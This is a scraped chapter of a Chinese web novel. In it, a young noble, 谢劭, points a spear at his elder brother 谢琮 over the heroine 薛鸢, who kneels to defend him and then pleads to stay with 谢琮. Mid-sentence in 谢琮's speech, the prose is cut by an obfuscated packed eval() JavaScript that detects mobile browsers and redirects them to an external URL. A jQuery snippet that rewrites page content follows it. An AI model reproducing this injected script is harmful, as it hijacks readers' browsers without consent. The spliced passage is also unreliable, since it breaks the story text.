默认冷灰
24号文字
方正启体

38. 修罗场4

作者:春醪三千本书字数:K更新时间:
    听出来人是谁,薛鸢的脸上几乎瞬间血色褪尽。


    只听谢琮意味不明地轻笑一声:“这便是你所说的不熟?”


    男人站起身,高挑的身形威压浑然天成。半张脸隐没在阴影里,看不清神色。


    薛鸢却直觉他正看着自己。


    眼下情形如此,薛鸢知晓自己无论如何也该亡羊补牢地解释一二。可她张了张唇,舌头却仿佛被钳住了一般,一句话也没能说出来。


    她不知道为何谢劭竟会来此,几个时辰前她的确是去找了他,可也只是与他商量想要借他的马车一用,并未与他多说什么。


    他的马车上有谢氏的徽记,不需通关文牒便可出城。


    她原本的计划是迷晕谢琮争取到足够的时间逃之夭夭。只要出了城,届时天高海阔,她赌谢琮不会再大费周章地抓她回来。


    明明谢劭当时似乎并未多想便同意了,为何竟会演变成如今的境况?


    薛鸢想不明白,或许她的计划漏洞百出,可她的确已经尽力了。


    男人身高腿长,几步便要跨出门外,薛鸢来不及思考,慌忙起身想要追上去。


    因为起得急,加之方才虚耗许多情绪,她刚站起来便觉得眼前一黑,重重跌在地上,不由得闷哼一声。


    门外谢劭的喊声还在继续,大有一副不见到人不罢休的架势。


    薛鸢此刻心里却只有一个念头,她不能由着事情这样发展下去,她得起来。


    她强撑着手臂想要起身,抬眸却对上了谢琮的视线。


    他不知何时顿住了脚步,漆黑的凤眸里含着抹不开的讥诮。


    “表哥…你等我一下,我都可以解释…”她恳求道。


    他却只冷冷地扫了一眼她用手捂住的膝盖:“待在这里别动。”


    男人推门而出。


    旋即,雕花木门重重地合上了,隔绝了屋内和屋外两个世界,也隔绝了外面的人窥伺的目光。


    谢劭立于阶下,仰首看向阶上那道笔挺的身影。


    夜露沾衣,少年眉宇凌厉清寒:“更深露重,劭本不欲扰二哥清静。只是不知王莺是否在此,我担心她受人胁迫,不得不来,还望二哥海涵。”


    今日冷不丁见到王莺来寻自己,谢劭还以为是自己在做梦。却原来只是因为她想要借用他的马车。


    这么屁大的事也值得她如此大老远跑来找他?谢劭只觉得她傻得可爱,又想要逗弄两句,看她吃瘪的样子。


    他如今是她亲口承认的朋友了,如此应当也不算过分。可看着她面露难色的样子,他忍了忍还是将话咽了回去,不过一辆马车而已,她想要他当然会给。


    女孩却对他千恩万谢,像是他帮了她天大的忙。


    谢劭对此不以为意,他自然不白帮,早晚有一日,他也会让她亲口答应别的事情。


    可她拿到她想要的便走了,只有他还在回味。


    他越想越不对劲,她要马车做什么?凭着谢琮对她那样的心思,她不会从他手中借不到一辆马车,又为何要来找他…


    天色愈来愈晚,少年的面色越来越黑,他披衣出门,一路找她,最后寻来了这里。


    却见他的二哥已沐浴更衣,领口微敞,一副慵懒闲适的模样。谢劭的心隐隐下沉,只觉得一股浊气堵在胸口上不去也下不来。


    谢琮却只是漠然地睨着他,仿佛在他眼里他只是在无理取闹。


    谢劭本能地厌恶他们这些人这样高高在上的眼神,原本他早已懒得在意,如今却是莫名地恼怒。


    他看向男人身后那扇紧闭的门,手中倏然一动,一杆长枪破空而出,竟是直指阶上男人面门。


    玉山居的下人尽皆垂目而立,恍若未闻。


    谢氏顶级门阀,谢劭即便不得谢玄偏爱,枪法亦是师承当世大家。


    谢琮一身剑术卓绝,谢劭不愿处处受制于他,便工于枪法。


    这一下他用了九成的力气,却被阶上男人单手接下。


    一杆枪,就这么斜于两人之间,画面诡异地显得剑拔弩张。


    谢劭对此并不意外,也因此越发笃定王莺正是在这间书房里。他手上仍在用力,枪尖就悬停在谢琮颈边不过几寸的位置。


    谢琮垂眸,神色冷淡地看着颈边寒刃,面容没有丝毫波动。


    正在这时,紧闭的门却忽然从里面被打开了。


    谢劭怔怔地看向谢琮身后。


    谢琮自然也察觉到了,眉眼间已凝了冷意,却仍是回过眸去。


    烛光映衬下,少女的身形单薄纤细。一阵风吹过,她的发丝飞扬在身后。


    三厢沉默,时间仿佛被无限拉长。


    薛鸢甫一出门,便被这离奇的画面震骇得说不出话来,眼前的两个男人一个枪指自己的兄长,一个徒手接刃不闪不避。


    堂堂谢氏,竟至于兄弟阋墙。为了她这样一个微不足道的女子?那她岂非罪孽深重。


    薛鸢方才本就磕到了腿,旧伤新伤一并发作,此刻分不清是哪里在痛,痛如钻心,眼前一黑几乎又要站不住。


    她的手已经下意识地攥握成拳,只凭着意志力直挺挺地站在那里。


    她看向谢劭,少年的面容桀骜冷峻,却在对上她视线的一瞬和缓了神色。


    心底忽然生出一个连她自己都觉得难以置信的想法,他漏夜来此,难道是为了救她么。


    有难言的热意涌上薛鸢的心头,她感到前所未有的歉疚。


    “王莺,到我身后来,我会护着你。”谢劭冲她喊道。


    闻言,薛鸢却怔了怔,只觉得荒唐至极,她不敢看谢琮的神色,却能感觉到他身上隐隐的引而不发的怒意。


    她比谁都清楚,如今谢劭能拿枪这般指着他,不过是因为他还懒得与他计较罢了。


    谢劭再这般下去,若真是触怒了谢琮,不光是她,她怕他自身难保。


    薛鸢心急如焚,此刻心里只剩下了一个念头,一切因她而起,她不能再连累旁人了。


    不知为何,两个男人维持着动作,谁也没有动。令宣也低垂着眼恭敬地站在一旁,自家主子被人拿枪架在脖子上了,也丝毫没有动手的意思。


    天地间仿佛只剩下了乌发白裙的少女。谢琮的视线几乎是下意识地追随着她,在他自己都没有反应过来的时候。


    少女原本默然而立,却忽然提起了裙摆,她的步伐显而易见的不稳,甚至有些踉跄,动作却坚决。


    她像一只翩跹的白蝶,掠过他,一步也没有回头,径直走下台阶。


    蝴蝶终于坠地,她跪了下去——


    却是挡在了谢劭面前。


    “表哥,请听我说,这是一场误会,我和三公子约定了时间请他帮我补习颜夫子的课业,是我约错了时间,他没找到我才会如此着急。”她的声音有几分焦急。


    “请表哥不要责怪他的冒犯,一切都是我一人之过,王莺愿一力承担。”


    她的态度恭顺至极,说的话让人挑不出一丝错处。


    谢琮却迟迟没有应声。他立在那里,像一座沉默的雕塑。


    什么误会,可笑至极。她不是怕他么,怎的现下又不怕了。这是她第一次对他说谎罢,却是为了替谢劭开脱,为了谢劭,又是谢劭。


    他一早就知道,她并非只顾追名逐利,她有真心,只不过独独对他没有罢了。


    胸中分不清是哪处闷得发疼,他的脑中霎时又嗡嗡作响。


    他不是已经让她滚了,她为何还在这里,的确该死。


    “从今往后,我定按表哥所言,再不出现在表哥面前。”


    女子两片樱唇间还在不停地吐字,他却似乎什么也听不清了。


    只莫名地轻声道:“既是课业,为何不来寻我。”


    说到此处,他像是想起什么,忽地又轻笑一声:“你莫不是忘了自己从前是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287570|194850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如何耳鬓厮磨软语相求,求我教你,这里不会,那里也不会。”


    “就在这间书房里。哦,对了,你不妨猜一猜,今日我叫你来,又为何将地点选在书房。”


    他的面容冷淡,睨着她的眼神宛如看着一件死物,偏偏话语又刻薄孟浪至极。


    薛鸢不敢深想他话里的意思,脸色一寸寸发白。


    “二哥是否有些太过分了。”谢劭站在薛鸢身后,他听不清谢琮轻声的低语,却亲眼看着女孩的身形隐隐颤抖,只觉得胸中郁气翻涌。


    他俯身,想要将薛鸢扶起来,他一人做事一人当,行事从不需要谁为他担责。


    忽地又想起谢琮从前说他没资格插手,谢劭微微勾唇,昭告天下一般:“既如此,今日我便与二哥说个明白,我已决意要娶王莺为妻。”


    此话一出,院中鸦雀无声。


    兹事体大,平日训练有素的下人几乎都忍不住朝这边看过来。


    就连令宣都忍不住愕然抬首。


    谢琮面上却是极为平静,只冷笑一声:“娶她?谢劭,你可还记得自己的身份?只要你一日姓谢,此事就轮不到你自己做主。”


    “我自会去禀明父亲,若他不同意,我便终身不娶。”谢劭语气戏谑地道,“反正谢氏有二哥在,二哥与公主佳偶天成,自然能为咱们家开枝散叶。”


    好一个终身不娶,情深意重。


    谢琮自始至终都一瞬不瞬地看向薛鸢。


    一波未平一波又起,薛鸢还没从方才的兵戈相向中回过神来,谢劭的话不啻于又一个惊雷在她耳边炸开。


    不是说做朋友吗?他怎得忽然又要娶她?


    事情的走向早已不是她能控制的,薛鸢只觉得自己此刻宛如被熊熊业火灼烧,求生不得,求死不能。


    夏夜闷热,她却无端感觉到一阵森寒。


    她跪在地上,从这个角度,正好可以看见阶上男人宽大袍袖下缓缓紧绷的手臂,其上青筋与疤痕纵横交错,狰狞可怖。


    回忆起被那只手掐住脖子的窒息感,她的呼吸逐渐急促。


    纵然知晓谢劭此番是来救她的,可饶是她再好的脾性也很难没有怨气,她怨谢劭口出狂言,怨他不打一声招呼便随意地将她至于万劫不复之地。


    世上怎么会有如此离经叛道之人?!


    她这样的身份,自是不配嫁入谢氏,而她也从来不想嫁入谢氏,可谢琮又怎么会信,他只会觉得她暗地里四处勾引,连谢劭也不放过。


    等待她的下场是什么,她不敢想。


    薛鸢的大脑已经几乎无法思考,唇瓣已经被她自己无意识地咬得鲜血淋漓。


    她忽然膝行向前。


    谢琮的目光沉沉落于她在青石地面上不断摩擦的膝盖上,眸色晦暗不明。


    下一瞬,她却忽然抬手抱住了他。她回眸看向几步外的谢劭,几乎是对他吼道:“我不嫁你,也请你不要再说这样的话。”


    “三公子,我是自愿留在这里的,没有人胁迫我,你快走罢!”


    而后,她又用只有她和谢琮两个人能听到的声音轻声对他说:“表哥,让他走罢…我,我不怕你的,我愿意留在这里…”


    她清楚的知道她于他而言只有这副皮囊还有一些价值,如今她只能牢牢抓住这张底牌,蹩脚地使用着。


    谢劭看着眼前的场景目眦欲裂:“我知道你现在还不愿嫁我,可你怎么可能是自愿留在这里的,我不信!”否则她为何要他的马车,她分明是想要趁夜出城,他不明白谢琮逼她至此,她为何还要回去他身边。


    他又看向他那光风霁月的二哥,温香软玉在怀,便就这般冷清地站着,当真是伪君子。


    那么他今日便要亲手揭下他那层画皮,让天下人都看清他的真面目!


    谢劭手随心动,猛然挥枪。


    见状,薛鸢简直惊呆了,枪尖划过眼前,她的大脑一片空白。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)